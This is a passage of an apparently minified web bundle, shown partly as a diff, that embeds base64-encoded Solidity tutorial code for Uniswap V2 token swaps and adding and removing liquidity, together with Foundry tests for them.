IIC0+IFVTREMKICAgIGZ1bmN0aW9uIHN3YXBNdWx0aUhvcEV4YWN0QW1vdW50SW4odWludDI1NiBhbW91bnRJbiwgdWludDI1NiBhbW91bnRPdXRNaW4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCkKICAgIHsKICAgICAgICBkYWkudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDMpOwogICAgICAgIHBhdGhbMF0gPSBEQUk7CiAgICAgICAgcGF0aFsxXSA9IFdFVEg7CiAgICAgICAgcGF0aFsyXSA9IFVTREM7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudEluLCBhbW91bnRPdXRNaW4sIHBhdGgsIG1zZy5zZW5kZXIsIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIGFtb3VudHNbMF0gPSBEQUkgYW1vdW50CiAgICAgICAgLy8gYW1vdW50c1sxXSA9IFdFVEggYW1vdW50CiAgICAgICAgLy8gYW1vdW50c1syXSA9IFVTREMgYW1vdW50CiAgICAgICAgcmV0dXJuIGFtb3VudHNbMl07CiAgICB9CgogICAgLy8gU3dhcCBXRVRIIHRvIERBSQogICAgZnVuY3Rpb24gc3dhcFNpbmdsZUhvcEV4YWN0QW1vdW50T3V0KAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0RGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEluTWF4CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KSB7CiAgICAgICAgd2V0aC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW5NYXgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluTWF4KTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBXRVRIOwogICAgICAgIHBhdGhbMV0gPSBEQUk7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwVG9rZW5zRm9yRXhhY3RUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudE91dERlc2lyZWQsIGFtb3VudEluTWF4LCBwYXRoLCBtc2cuc2VuZGVyLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwoKICAgICAgICAvLyBSZWZ1bmQgV0VUSCB0byBtc2cuc2VuZGVyCiAgICAgICAgaWYgKGFtb3VudHNbMF0gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICB3ZXRoLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudEluTWF4IC0gYW1vdW50c1swXSk7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gYW1vdW50c1sxXTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHN3YXBNdWx0aUhvcEV4YWN0QW1vdW50T3V0KAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0RGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEluTWF4CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KSB7CiAgICAgICAgZGFpLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbk1heCk7CgogICAgICAgIGFkZHJlc3NbXSBtZW1vcnkgcGF0aDsKICAgICAgICBwYXRoID0gbmV3IGFkZHJlc3NbXSgzKTsKICAgICAgICBwYXRoWzBdID0gREFJOwogICAgICAgIHBhdGhbMV0gPSBXRVRIOwogICAgICAgIHBhdGhbMl0gPSBVU0RDOwoKICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFtb3VudHMgPSByb3V0ZXIuc3dhcFRva2Vuc0ZvckV4YWN0VG9rZW5zKAogICAgICAgICAgICBhbW91bnRPdXREZXNpcmVkLCBhbW91bnRJbk1heCwgcGF0aCwgbXNnLnNlbmRlciwgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKCiAgICAgICAgLy8gUmVmdW5kIERBSSB0byBtc2cuc2VuZGVyCiAgICAgICAgaWYgKGFtb3VudHNbMF0gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICBkYWkudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50SW5NYXggLSBhbW91bnRzWzBdKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBhbW91bnRzWzJdOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMlJvdXRlciB7CiAgICBmdW5jdGlvbiBzd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgdWludDI1NiBhbW91bnRJbiwKICAgICAgICB1aW50MjU2IGFtb3VudE91dE1pbiwKICAgICAgICBhZGRyZXNzW10gY2FsbGRhdGEgcGF0aCwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSBhbW91bnRzKTsKCiAgICBmdW5jdGlvbiBzd2FwVG9rZW5zRm9yRXhhY3RUb2tlbnMoCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQsCiAgICAgICAgdWludDI1NiBhbW91bnRJbk1heCwKICAgICAgICBhZGRyZXNzW10gY2FsbGRhdGEgcGF0aCwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSBhbW91bnRzKTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0KCmludGVyZmFjZSBJV0VUSCBpcyBJRVJDMjAgewogICAgZnVuY3Rpb24gZGVwb3NpdCgpIGV4dGVybmFsIHBheWFibGU7CiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWw7Cn0K"},{fileName:"UniswapV2SwapExamplesTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCB7CiAgICBVbmlzd2FwVjJTd2FwRXhhbXBsZXMsCiAgICBJRVJDMjAsCiAgICBJV0VUSAp9IGZyb20gIi4uLy4uLy4uL3NyYy9kZWZpL3VuaXN3YXAtdjIvVW5pc3dhcFYyU3dhcEV4YW1wbGVzLnNvbCI7CgphZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7Cgpjb250cmFjdCBVbmlzd2FwVjJTd2FwRXhhbXBsZXNUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBkYWkgPSBJRVJDMjAoREFJKTsKICAgIElFUkMyMCBwcml2YXRlIHVzZGMgPSBJRVJDMjAoVVNEQyk7CgogICAgVW5pc3dhcFYyU3dhcEV4YW1wbGVzIHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMlN3YXBFeGFtcGxlcygpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHt9CgogICAgLy8gU3dhcCBXRVRIIC0+IERBSQogICAgZnVuY3Rpb24gdGVzdFN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IHdldGhBbW91bnQgPSAxZTE4OwogICAgICAgIHdldGguZGVwb3NpdHt2YWx1ZTogd2V0aEFtb3VudH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCB3ZXRoQW1vdW50KTsKCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRNaW4gPSAxOwogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKHdldGhBbW91bnQsIGRhaUFtb3VudE1pbik7CgogICAgICAgIGNvbnNvbGUyLmxvZygiREFJIiwgZGFpQW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRHZShkYWlBbW91bnRPdXQsIGRhaUFtb3VudE1pbiwgImFtb3VudCBvdXQgPCBtaW4iKTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHRlc3RTd2FwTXVsdGlIb3BFeGFjdEFtb3VudEluKCkgcHVibGljIHsKICAgICAgICAvLyBTd2FwIFdFVEggLT4gREFJCiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50ID0gMWUxODsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IHdldGhBbW91bnR9KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgd2V0aEFtb3VudCk7CgogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50TWluID0gMTsKICAgICAgICB1bmkuc3dhcFNpbmdsZUhvcEV4YWN0QW1vdW50SW4od2V0aEFtb3VudCwgZGFpQW1vdW50TWluKTsKCiAgICAgICAgLy8gU3dhcCBEQUkgLT4gV0VUSCAtPiBVU0RDCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRJbiA9IDFlMTg7CiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCBkYWlBbW91bnRJbik7CgogICAgICAgIHVpbnQyNTYgdXNkY0Ftb3VudE91dE1pbiA9IDE7CiAgICAgICAgdWludDI1NiB1c2RjQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBNdWx0aUhvcEV4YWN0QW1vdW50SW4oZGFpQW1vdW50SW4sIHVzZGNBbW91bnRPdXRNaW4pOwoKICAgICAgICBjb25zb2xlMi5sb2coIlVTREMiLCB1c2RjQW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRHZSh1c2RjQW1vdW50T3V0LCB1c2RjQW1vdW50T3V0TWluLCAiYW1vdW50IG91dCA8IG1pbiIpOwogICAgfQoKICAgIC8vIFN3YXAgV0VUSCAtPiBEQUkKICAgIGZ1bmN0aW9uIHRlc3RTd2FwU2luZ2xlSG9wRXhhY3RBbW91bnRPdXQoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgd2V0aEFtb3VudCA9IDFlMTg7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiB3ZXRoQW1vdW50fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIHdldGhBbW91bnQpOwoKICAgICAgICB1aW50MjU2IGRhaUFtb3VudERlc2lyZWQgPSAxZTE4OwogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudE91dChkYWlBbW91bnREZXNpcmVkLCB3ZXRoQW1vdW50KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBkYWlBbW91bnRPdXQpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICBkYWlBbW91bnRPdXQsIGRhaUFtb3VudERlc2lyZWQsICJhbW91bnQgb3V0ICE9IGFtb3VudCBvdXQgZGVzaXJlZCIKICAgICAgICApOwogICAgfQoKICAgIC8vIFN3YXAgREFJIC0+IFdFVEggLT4gVVNEQwogICAgZnVuY3Rpb24gdGVzdFN3YXBNdWx0aUhvcEV4YWN0QW1vdW50T3V0KCkgcHVibGljIHsKICAgICAgICAvLyBTd2FwIFdFVEggLT4gREFJCiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50ID0gMWUxODsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IHdldGhBbW91bnR9KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgd2V0aEFtb3VudCk7CgogICAgICAgIC8vIEJ1eSAxMDAgREFJCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRPdXQgPSAxMDAgKiAxZTE4OwogICAgICAgIHVuaS5zd2FwU2luZ2xlSG9wRXhhY3RBbW91bnRPdXQoZGFpQW1vdW50T3V0LCB3ZXRoQW1vdW50KTsKCiAgICAgICAgLy8gU3dhcCBEQUkgLT4gV0VUSCAtPiBVU0RDCiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCBkYWlBbW91bnRPdXQpOwoKICAgICAgICB1aW50MjU2IGFtb3VudE91dERlc2lyZWQgPSAxZTY7CiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPQogICAgICAgICAgICB1bmkuc3dhcE11bHRpSG9wRXhhY3RBbW91bnRPdXQoYW1vdW50T3V0RGVzaXJlZCwgZGFpQW1vdW50T3V0KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJVU0RDIiwgYW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRFcSgKICAgICAgICAgICAgYW1vdW50T3V0LCBhbW91bnRPdXREZXNpcmVkLCAiYW1vdW50IG91dCAhPSBhbW91bnQgb3V0IGRlc2lyZWQiCiAgICAgICAgKTsKICAgIH0KfQo="}],Fm=`

                    swapExactTokensForTokens sells all tokens for another.

                    swapTokensForExactTokens buys specific amount of tokens set by the caller.

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -5463,7 +5463,7 @@ Topics
         );
     }
 }
-
                    `,Fm=({prev:s,next:a})=>r.jsx(u,{version:Rm,title:Xm,description:vm,html:Hm,prev:s,next:a,codes:Nm}),Km="0.8.24",Sm="Uniswap V2 Add Remove Liquidity",Mm="Uniswap V2 add remove liquidity",xm=[{fileName:"UniswapV2Liquidity.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWMkFkZExpcXVpZGl0eSB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgRkFDVE9SWSA9CiAgICAgICAgMHg1QzY5YkVlNzAxZWY4MTRhMkI2YTNFREQ0QjE2NTJDQjljYzVhQTZmOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFJPVVRFUiA9IDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFVTRFQgPSAweGRBQzE3Rjk1OEQyZWU1MjNhMjIwNjIwNjk5NDU5N0MxM0Q4MzFlYzc7CgogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KAogICAgICAgIGFkZHJlc3MgX3Rva2VuQSwKICAgICAgICBhZGRyZXNzIF90b2tlbkIsCiAgICAgICAgdWludDI1NiBfYW1vdW50QSwKICAgICAgICB1aW50MjU2IF9hbW91bnRCCiAgICApIGV4dGVybmFsIHsKICAgICAgICBzYWZlVHJhbnNmZXJGcm9tKElFUkMyMChfdG9rZW5BKSwgbXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudEEpOwogICAgICAgIHNhZmVUcmFuc2ZlckZyb20oSUVSQzIwKF90b2tlbkIpLCBtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50Qik7CgogICAgICAgIHNhZmVBcHByb3ZlKElFUkMyMChfdG9rZW5BKSwgUk9VVEVSLCBfYW1vdW50QSk7CiAgICAgICAgc2FmZUFwcHJvdmUoSUVSQzIwKF90b2tlbkIpLCBST1VURVIsIF9hbW91bnRCKTsKCiAgICAgICAgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCLCB1aW50MjU2IGxpcXVpZGl0eSkgPSBJVW5pc3dhcFYyUm91dGVyKAogICAgICAgICAgICBST1VURVIKICAgICAgICApLmFkZExpcXVpZGl0eSgKICAgICAgICAgICAgX3Rva2VuQSwKICAgICAgICAgICAgX3Rva2VuQiwKICAgICAgICAgICAgX2Ftb3VudEEsCiAgICAgICAgICAgIF9hbW91bnRCLAogICAgICAgICAgICAxLAogICAgICAgICAgICAxLAogICAgICAgICAgICBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eShhZGRyZXNzIF90b2tlbkEsIGFkZHJlc3MgX3Rva2VuQikgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3MgcGFpciA9IElVbmlzd2FwVjJGYWN0b3J5KEZBQ1RPUlkpLmdldFBhaXIoX3Rva2VuQSwgX3Rva2VuQik7CgogICAgICAgIHVpbnQyNTYgbGlxdWlkaXR5ID0gSUVSQzIwKHBhaXIpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICBzYWZlQXBwcm92ZShJRVJDMjAocGFpciksIFJPVVRFUiwgbGlxdWlkaXR5KTsKCiAgICAgICAgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCKSA9IElVbmlzd2FwVjJSb3V0ZXIoUk9VVEVSKQogICAgICAgICAgICAucmVtb3ZlTGlxdWlkaXR5KAogICAgICAgICAgICBfdG9rZW5BLCBfdG9rZW5CLCBsaXF1aWRpdHksIDEsIDEsIGFkZHJlc3ModGhpcyksIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAZGV2IFRoZSB0cmFuc2ZlckZyb20gZnVuY3Rpb24gbWF5IG9yIG1heSBub3QgcmV0dXJuIGEgYm9vbC4KICAgICAqIFRoZSBFUkMtMjAgc3BlYyByZXR1cm5zIGEgYm9vbCwgYnV0IHNvbWUgdG9rZW5zIGRvbid0IGZvbGxvdyB0aGUgc3BlYy4KICAgICAqIE5lZWQgdG8gY2hlY2sgaWYgZGF0YSBpcyBlbXB0eSBvciB0cnVlLgogICAgICovCiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKAogICAgICAgIElFUkMyMCB0b2tlbiwKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50MjU2IGFtb3VudAogICAgKSBpbnRlcm5hbCB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJldHVybkRhdGEpID0gYWRkcmVzcyh0b2tlbikuY2FsbCgKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoSUVSQzIwLnRyYW5zZmVyRnJvbSwgKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgc3VjY2VzcwogICAgICAgICAgICAgICAgJiYgKHJldHVybkRhdGEubGVuZ3RoID09IDAgfHwgYWJpLmRlY29kZShyZXR1cm5EYXRhLCAoYm9vbCkpKSwKICAgICAgICAgICAgIlRyYW5zZmVyIGZyb20gZmFpbCIKICAgICAgICApOwogICAgfQoKICAgIC8qKgogICAgICogQGRldiBUaGUgYXBwcm92ZSBmdW5jdGlvbiBtYXkgb3IgbWF5IG5vdCByZXR1cm4gYSBib29sLgogICAgICogVGhlIEVSQy0yMCBzcGVjIHJldHVybnMgYSBib29sLCBidXQgc29tZSB0b2tlbnMgZG9uJ3QgZm9sbG93IHRoZSBzcGVjLgogICAgICogTmVlZCB0byBjaGVjayBpZiBkYXRhIGlzIGVtcHR5IG9yIHRydWUuCiAgICAgKi8KICAgIGZ1bmN0aW9uIHNhZmVBcHByb3ZlKElFUkMyMCB0b2tlbiwgYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBpbnRlcm5hbAogICAgewogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSByZXR1cm5EYXRhKSA9IGFkZHJlc3ModG9rZW4pLmNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElFUkMyMC5hcHByb3ZlLCAoc3BlbmRlciwgYW1vdW50KSkKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHN1Y2Nlc3MKICAgICAgICAgICAgICAgICYmIChyZXR1cm5EYXRhLmxlbmd0aCA9PSAwIHx8IGFiaS5kZWNvZGUocmV0dXJuRGF0YSwgKGJvb2wpKSksCiAgICAgICAgICAgICJBcHByb3ZlIGZhaWwiCiAgICAgICAgKTsKICAgIH0KfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJSb3V0ZXIgewogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KAogICAgICAgIGFkZHJlc3MgdG9rZW5BLAogICAgICAgIGFkZHJlc3MgdG9rZW5CLAogICAgICAgIHVpbnQyNTYgYW1vdW50QURlc2lyZWQsCiAgICAgICAgdWludDI1NiBhbW91bnRCRGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEFNaW4sCiAgICAgICAgdWludDI1NiBhbW91bnRCTWluLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50MjU2IGFtb3VudEEsIHVpbnQyNTYgYW1vdW50QiwgdWludDI1NiBsaXF1aWRpdHkpOwoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eSgKICAgICAgICBhZGRyZXNzIHRva2VuQSwKICAgICAgICBhZGRyZXNzIHRva2VuQiwKICAgICAgICB1aW50MjU2IGxpcXVpZGl0eSwKICAgICAgICB1aW50MjU2IGFtb3VudEFNaW4sCiAgICAgICAgdWludDI1NiBhbW91bnRCTWluLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50MjU2IGFtb3VudEEsIHVpbnQyNTYgYW1vdW50Qik7Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyRmFjdG9yeSB7CiAgICBmdW5jdGlvbiBnZXRQYWlyKGFkZHJlc3MgdG9rZW4wLCBhZGRyZXNzIHRva2VuMSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChhZGRyZXNzKTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"},{fileName:"UniswapV2LiquidityTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdH0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0CiAgICAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12Mi1hZGQtcmVtb3ZlLWxpcXVpZGl0eS9Vbmlzd2FwVjJMaXF1aWRpdHkuc29sIjsKCklFUkMyMCBjb25zdGFudCBXRVRIID0gSUVSQzIwKDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMik7CklFUkMyMCBjb25zdGFudCBVU0RUID0gSUVSQzIwKDB4ZEFDMTdGOTU4RDJlZTUyM2EyMjA2MjA2OTk0NTk3QzEzRDgzMWVjNyk7CklFUkMyMCBjb25zdGFudCBQQUlSID0gSUVSQzIwKDB4MGQ0YTExZDVFRWFhQzI4RUMzRjYxZDEwMGRhRjRkNDA0NzFmMTg1Mik7Cgpjb250cmFjdCBVbmlzd2FwVjJBZGRMaXF1aWRpdHlUZXN0IGlzIFRlc3QgewogICAgVW5pc3dhcFYyQWRkTGlxdWlkaXR5IHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMkFkZExpcXVpZGl0eSgpOwoKICAgIC8vICBBZGQgV0VUSC9VU0RUIExpcXVpZGl0eSB0byBVbmlzd2FwCiAgICBmdW5jdGlvbiB0ZXN0QWRkTGlxdWlkaXR5KCkgcHVibGljIHsKICAgICAgICAvLyBEZWFsIHRlc3QgVVNEVCBhbmQgV0VUSCB0byB0aGlzIGNvbnRyYWN0CiAgICAgICAgZGVhbChhZGRyZXNzKFVTRFQpLCBhZGRyZXNzKHRoaXMpLCAxZTYgKiAxZTYpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICBVU0RULmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKSwgMWU2ICogMWU2LCAiVVNEVCBiYWxhbmNlIGluY29ycmVjdCIKICAgICAgICApOwogICAgICAgIGRlYWwoYWRkcmVzcyhXRVRIKSwgYWRkcmVzcyh0aGlzKSwgMWU2ICogMWUxOCk7CiAgICAgICAgYXNzZXJ0RXEoCiAgICAgICAgICAgIFdFVEguYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpLCAxZTYgKiAxZTE4LCAiV0VUSCBiYWxhbmNlIGluY29ycmVjdCIKICAgICAgICApOwoKICAgICAgICAvLyBBcHByb3ZlIHVuaSBmb3IgdHJhbnNmZXJyaW5nCiAgICAgICAgc2FmZUFwcHJvdmUoV0VUSCwgYWRkcmVzcyh1bmkpLCAxZTY0KTsKICAgICAgICBzYWZlQXBwcm92ZShVU0RULCBhZGRyZXNzKHVuaSksIDFlNjQpOwoKICAgICAgICB1bmkuYWRkTGlxdWlkaXR5KGFkZHJlc3MoV0VUSCksIGFkZHJlc3MoVVNEVCksIDEgKiAxZTE4LCAzMDAwLjA1ICogMWU2KTsK